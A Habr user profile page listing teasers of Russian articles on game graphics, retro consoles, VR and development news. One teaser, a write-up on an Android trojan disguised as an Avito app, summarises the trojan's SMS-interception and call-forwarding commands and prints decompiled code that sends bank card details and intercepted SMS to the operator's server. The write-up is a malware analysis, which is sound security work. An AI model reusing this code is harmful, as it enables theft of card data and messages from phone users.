Как стать автором
Обновить
82
0
Виталий Кузьмин @Triang3l

Графический программист

Отправить сообщение

Взаимосвязь UX и оптимизации: как это правильно делать (Часть II)

Время на прочтение6 мин
Количество просмотров3.9K
image
Мы продолжаем публикацию перевода статьи, посвященной технике работы с улучшениями на сайте, которые направлены на улучшение поведенческих факторов. Текст перевода предоставлен аналитическим отделом компании ALTWeb Group. Поведенческие факторы также могут быть улучшены при помощи инструмента SERPClick, в основу разработки которого легли последние исследования в области оптимизации сайтов через поведенческие факторы.

Читать текст перевода

Локализация приложений для китайского рынка

Время на прочтение5 мин
Количество просмотров41K
Собственно, ни для кого не секрет, что рынок КНР (а еще и Гонконга и Тайваня) — мечта для любого игропроизводителя. Учитывая азарт китайцев, их внушаемость и распространенность мобильных телефонов среди населения (а также количество абонентов), удачный вход на китайский рынок может принести огромную прибыль.

В этой публикации я постараюсь описать весь этот трудоемкий путь, а так же основные подводные камни, могущие встретиться на этом пути. Добро пожаловать под кат.


Читать дальше →

Создание виртуальной волны

Время на прочтение7 мин
Количество просмотров60K


Как всем известно, 71% поверхности Земли занимает вода. К сожалению или к счастью, корректно изобразить океан умеют единицы. Иван Айвазовский вошел в учебники живописи благодаря одним только морским пейзажам. В компьютерных играх все еще сложнее. Когда-то море в них обозначали скоплением синих пикселей, раскрашенных белыми квадратами пены. Со временем виртуальные моря стали больше похожи на снимки из отпуска, научились качать волну и покрываться рябью, в которой иногда даже отражались очертания парусников. Но они оставались самостоятельной стихией: натолкнувшись на берег, волна превращалась в незамысловатые угловатые полигоны. Настоящий прибой логично взаимодействует с пляжем, увлажняет песок и с шуршанием откатывается назад. Такого правдоподобия удалось добиться только в современных играх. В том числе в нашем Skyforge. И хоть в основные события будут разворачиваться на суше, игроки попадут и на тропические острова, и в шумные порты. Вода будет постоянно рядом. Ее «правильный» облик будет играть большую роль. И воссоздание морской стихии – серьезная математическая задача. Расскажу об этапах ее реализации.
Читать дальше →

Автоматическая оптимизация алгоритмов с помощью быстрого возведения матриц в степень

Время на прочтение20 мин
Количество просмотров84K
Пусть мы хотим вычислить десятимиллионное число Фибоначчи программой на Python. Функция, использующая тривиальный алгоритм, на моём компьютере будет производить вычисления более 25 минут. Но если применить к функции специальный оптимизирующий декоратор, функция вычислит ответ всего за 18 секунд (в 85 раз быстрее):


Дело в том, что перед выполнением программы интерпретатор Python компилирует все её части в специальный байт-код. Используя метод, описанный хабрапользователем SkidanovAlex, данный декоратор анализирует получившийся байт-код функции и пытается оптимизировать применяющийся там алгоритм. Далее вы увидите, что эта оптимизация может ускорять программу не в определённое количество раз, а асимптотически. Так, чем больше будет количество итераций в цикле, тем в большее количество раз ускорится оптимизированная функция по сравнению с исходной.

Эта статья расскажет о том, в каких случаях и каким образом декоратору удаётся делать подобные оптимизации. Также вы сможете сами скачать и протестировать библиотеку cpmoptimize, содержащую данный декоратор.
Читать дальше →

Как создать интересный игровой сеттинг? Уровень второй: графика

Время на прочтение5 мин
Количество просмотров50K
Дискуссии на тему, важен ли «графон», продолжаются со времен появления первой игры. В этой статье мы рассмотрим не качество графики, а, скорее, ее влияние на мироощущение игрока.


Читать и смотреть

Как мы боролись с тормозами в AndEngine

Время на прочтение8 мин
Количество просмотров13K
Недавно наша команда закончила разработку двухмерной бродилки-стрелялки для Android на движке AndEngine. В процессе был получен определенный опыт по решению проблем с производительностью и некоторыми особеностями движка, которым хочется поделиться с читателями Хабра. Для затравки вставлю кусочек скриншота из игры, а все технические детали и примеры кода уберу под кат.


Читать дальше →

3D-режим в Diablo 2

Время на прочтение5 мин
Количество просмотров117K
Это перевод поста Don't Starve, Diablo — Parallax 7 из блога Simon Schreibt от 25 февраля 2014 года.
Осторожно, тяжелые гифки.

В 90-х игры начали свое движение от 2D к 3D. Если бы НЛО тогда посетило землю, пришельцы решили бы, что используемые в то время низкополигональные модели без всякой фильтрации никому не нужны, и уничтожили бы Землю.

Со временем они, конечно, научились бы тому, что делало людей особенными: даже в эру 2D у них было невероятное желание рендерить в 3D, даже при том, что тогда это было просто невозможно!
Читать дальше →

Как я позорно деактивировал ботнет

Время на прочтение10 мин
Количество просмотров191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →

Дайджест: ReactOS или как мы про… кодили это лето

Время на прочтение2 мин
Количество просмотров40K
Добрый день, Хабражители!
Прошло 86 дней лета с со дня написания прошлого дайджеста и, наступила пора вновь выйти на связь, рассказать о наших достижениях. Честно говоря, обычно летом разработка замирает и почти останавливается по понятным причинам (абсолютное большинство разработчиков проекта живет севернее Тропика Рака), но как оказалось, только не в этот раз.

  • Ударными темпами работает Gigaherz над завершением реализации нового проводника. Обновления его дневника разработчика появляются почти еженедельно. Парня не остановил даже несчастный случай на кухне, когда он обварил руку раскаленным маслом.
    Скриншоты новой версии проводника
    image

    image

    image

    image

    image
  • Стараниями разработчика Zefklop в менеджере памяти появилась функция NtProtectVirtualMemory, в результате стала возможной стабильная работа Oracle/Sun JAVA и программ, использующих ее, в том числе сред разработки.
    Работа сред разработки
    Netbeans 6.7
    Image

    Image

    Image

    Image


    Netbeans 8.0

    Image

    I have not tested it beyond the last image, neither have I tried to run it after a re-boot. So here are the images of what I have managed to do.

    Image

    There is a little fault in this next image; the window border of the IDE is invisible (it is there, because when I took the screenshot, the area was highlighted and that is why you can see a bit of the desktop).

    Image

    Image


    IntelliJ IDEA 13 Community Edition

    Image
    Image
    Image
    Image


Продолжение - под катом

Мёртвая «Ксюша» и пыльный чайник. Почему «АвтоматическийСтол» — корпорация зла

Время на прочтение14 мин
Количество просмотров166K
Помните начало фильма «Джиперс Криперс» — Каждую 23 весну, на протяжении 23 дней, оно ест?



Так вот…. Каждый год, в одно и то же время, компания Autodesk, выпускает новую версию всех своих продуктов, и обрубает поддержку старых. Тем самым вынуждая пользователей каждый год обновлять лицензии (расценка продукции — гляньте одним глазком.). И всё бы ничего, если бы компания реально думала о пользователях, а не о расширении рынка для сбыта своих программ.


Пример отличного дизайна — как глюк программы превратить в логотип.

Я начал писать эту статью сильно возмущенный нынешней ситуацией с 3ds max, но по мере того как я собирал материал и читал различные форумы — я стал понимать, что проблема глобальней чем просто с одним графическим пакетом. Сразу оговорюсь, я пишу с точки зрения одного человека, а не производственной компании. И начну я, пожалуй, именно с:
Читать дальше →

Библиотека Конгресса утверждает, что нашла исходный код неизвестной игры Duke Nukem

Время на прочтение2 мин
Количество просмотров33K
image

Библиотека Конгресса считает, что нашла исходный код никогда не выпускавшейся версии портативной игры Duke Nukem: Critical Mass, обнаруженной среди игр, поданных для регистрации авторских прав, пишет The Verge. Critical Mass вышла на Nintendo DS в 2011 году. Первоначально предполагалось, что она станет началом новой трилогии, но она получила ужасные отзывы, как и её старший брат Duke Nukem Forever.

Неудивительно, что создание следующих игр было свёрнуто. Но сотрудник Библиотеки Конгресса Дэвид Гибсон рассказывает в блоге, что нашёл игру, которая не увидела релиза: PSP-версию, которая значительно отличается от своего Nintendo-варианта. Гибсон пока что пытается восстановить игру, но он уже нашёл игровую музыку и собрал базовую 3D-модель Дюка в ракетном ранце.
Читать дальше →

Терминологию master/slave в фреймворке django заменили на leader/follower из соображений политкорректности

Время на прочтение1 мин
Количество просмотров63K
Сегодня в мастер ветку Django приняли совершенно дикий с точки зрения логики pull request.

Во всем проекте, включая код, общепринятые термины master/slave были изменены на leader/follower.

Вот как обосновал это автор патча fcurella:
Документация и некоторые тесты содержат ссылки на master/slave конфигурацию БД.
Несмотря на то что эта терминология использовалась достаточно долгое время, эти термины могут нести расистcкую подоплеку для пользователей.
Этот патч заменяет все использования master и slave на leader и follower.

Видимо Мизулина это достаточно интернациональный термин, а не только российский.

Signed Distance Field или как сделать из растра вектор

Время на прочтение12 мин
Количество просмотров60K
Речь сегодня пойдёт о генерации изображений с картой расстояний (Signed Distance Field). Данный вид изображений примечателен тем, что фактически позволяет получить «векторную» графику на видеоускорителе, причём даром. Одной из первых данный метод растеризации предложила компания Valve в игре Team Fortress 2 для масштабируемых декалей в 2007 году, но до сих пор он не пользуется особой популярностью, хотя позволяет рендерить прекрасного качества шрифты, используя текстуру всего 256х256 точек. Данный метод прекрасно подходит для современных экранов высокой чёткости и позволяет серьёзно сэкономить на текстурах в играх, он не требователен к железу и прекрасно работает на смартфонах.



Хитрость заключается в создании такой специально подготовленной карты расстояний, что при использовании простейшего шейдера получается идеальная векторная картинка. Более того, с помощью шейдеров можно получить эффекты тени, свечения, объёма и т. п.

Как же создавать такие изображения? Очень просто, ImageMagick позволяет сделать это одной командой:

convert in.png -filter Jinc -resize 400% -threshold 30% \( +clone -negate -morphology Distance Euclidean -level 50%,-50% \) -morphology Distance Euclidean -compose Plus -composite -level 45%,55% -resize 25% out.png

На этом можно было бы поставить точку, но так полноценного топика не получится. Что ж, под катом — описание быстрого алгоритма расчёта SDF, пример на C++ и немного шейдеров для OpenGL.
Читать дальше →

Инди игры это как игры только инди

Время на прочтение6 мин
Количество просмотров78K


Инди разработчик должен быть безумным. Безумие очень полезно — оно подталкивает на риски, усиливает мотивацию и, как морфий, уменьшает болезненные ощущения от неудач.
Читать дальше →

Молнии

Время на прочтение4 мин
Количество просмотров42K


Вы летите на своём корабле по пещере, уклоняясь от вражеского огня. Однако, довольно скоро вы осознаёте что врагов слишком много и похоже что это конец. В отчаянной попытке выжить вы жмёте на Кнопку. Да, на ту самую кнопку. На ту, что вы приготовили для особого случая. Ваш корабль заряжается и выпускает по врагам смертоносные молнии, одну за другой, уничтожая весь флот противника.

По крайней мере, таков план.

Но как же именно вам, как разработчику игры, отрендерить такой эффект?
Читать дальше →

Аниматор из России работает над созданием 3D версии интро к Futurama

Время на прочтение1 мин
Количество просмотров76K


Аниматор Алексей Захаров, видимо, является поклонником сериала Futurama, поскольку у него много работ, завязанных на сериале. Это рендеры космического корабля из мультика, детальные рисунки сцен из сериала.

Сейчас же аниматор работает над созданием 3D версии интро к сериалу, причем часть работы уже проделана. Это — самое начало вступления, выполненное весьма и весьма тщательно.

Читать дальше →

Создание игрового персонажа

Время на прочтение5 мин
Количество просмотров166K


В данной статье описывается процесс создания персонажа для игрового движка. Статья в первую очередь адресована тем, кто интересуется процессом разработки next gen моделей, а также всем, кто хочет заглянуть за кулисы современного игродела. Персонажа я делал для портфолио, на персонажей переключился совсем недавно, можно сказать, что это первый доведенный до ума персонаж. Поскольку данная работа — мой личный проект, то я установил ограничение треугольников в 20 000, текстуры в 2048*2048, работа планировалась под PBR.
Читать дальше →

Nvidia + Nexus 7 + две лупы + коробка = VR шлем

Время на прочтение5 мин
Количество просмотров221K
Добрый день! В интернете уже накопилось достаточное количество статей по сборке DIY VR шлемов и хабр тому не исключение. Но в большинстве случаев при сборке используются смартфоны с относительно не большими дисплеями, что не позволяет получить широкий угол обзора. Сегодня же мы будем собирать шлем на основе Nexus 7, потратив всего 600 рублей в ближайшем гипермарките. Ну и т.к. главный лозунг этой статьи «Меньше теории, больше практики», хватит лишних слов, начинаем!



Читать дальше →

Игры для NES/Famicom/Денди глазами программиста

Время на прочтение5 мин
Количество просмотров120K
Это пост про ограничения старых видеоигр. Сам я под NES никогда не программировал, но с архитектурой поверхностно познакомился. Теперь я не могу играть в игры для NES, не задумываясь, как же они устроены. Иногда это на столько вызывает восхищение, что невольно забываешь про саму игру. «Чему же там восхищаться?», — скажете вы. Да просто укладываться во все ограничения NES, но при этом делать игру красивой, — это действительно целое искусство.

Сейчас я постараюсь рассказать об этом вам, максимально всё упростив.
Читать дальше →

История спецэффектов в кинематографе

Время на прочтение10 мин
Количество просмотров151K


История кинематографа неразрывно связана с историей спецэффектов. От первых примитивных уловок с освещением и фальшивых кинжалов в немом кино, до целых миров и невероятно реалистичных существ, которых никогда не существовало. Сейчас практически ВСЕ фильмы с приличным бюджетом в той или иной степени используют виртуальные декорации.

Что первично в кино — сюжет или игра актёров? Спецэффекты или мастерство оператора-постановщика? Безусловно, все эти составляющие крайне важны. Но, всё же, некоторые фильмы стали знамениты именно благодаря использованным спецэффектам. И пусть сегодня некоторые из них выглядят обыденно, а некоторые наивно, в своё время они стали вехами в кинематографе. Конечно, вообще таких фильмов было много. Но мало кто может похвастаться спецэффектами, исключительно благодаря которым стало возможно рассказать задуманную историю. Такими спецэффектами, которые не просто вызывали вау-эффект, а действительно брали за душу. Которые заставляли сопереживать главному герою, проникаться ситуациями, в которых он оказывался. Давайте вспомним о некоторых из таких знаковых фильмов.
Читать дальше →

Информация

В рейтинге
Не участвует
Откуда
Санкт-Петербург и область, Россия
Дата рождения
Зарегистрирован
Активность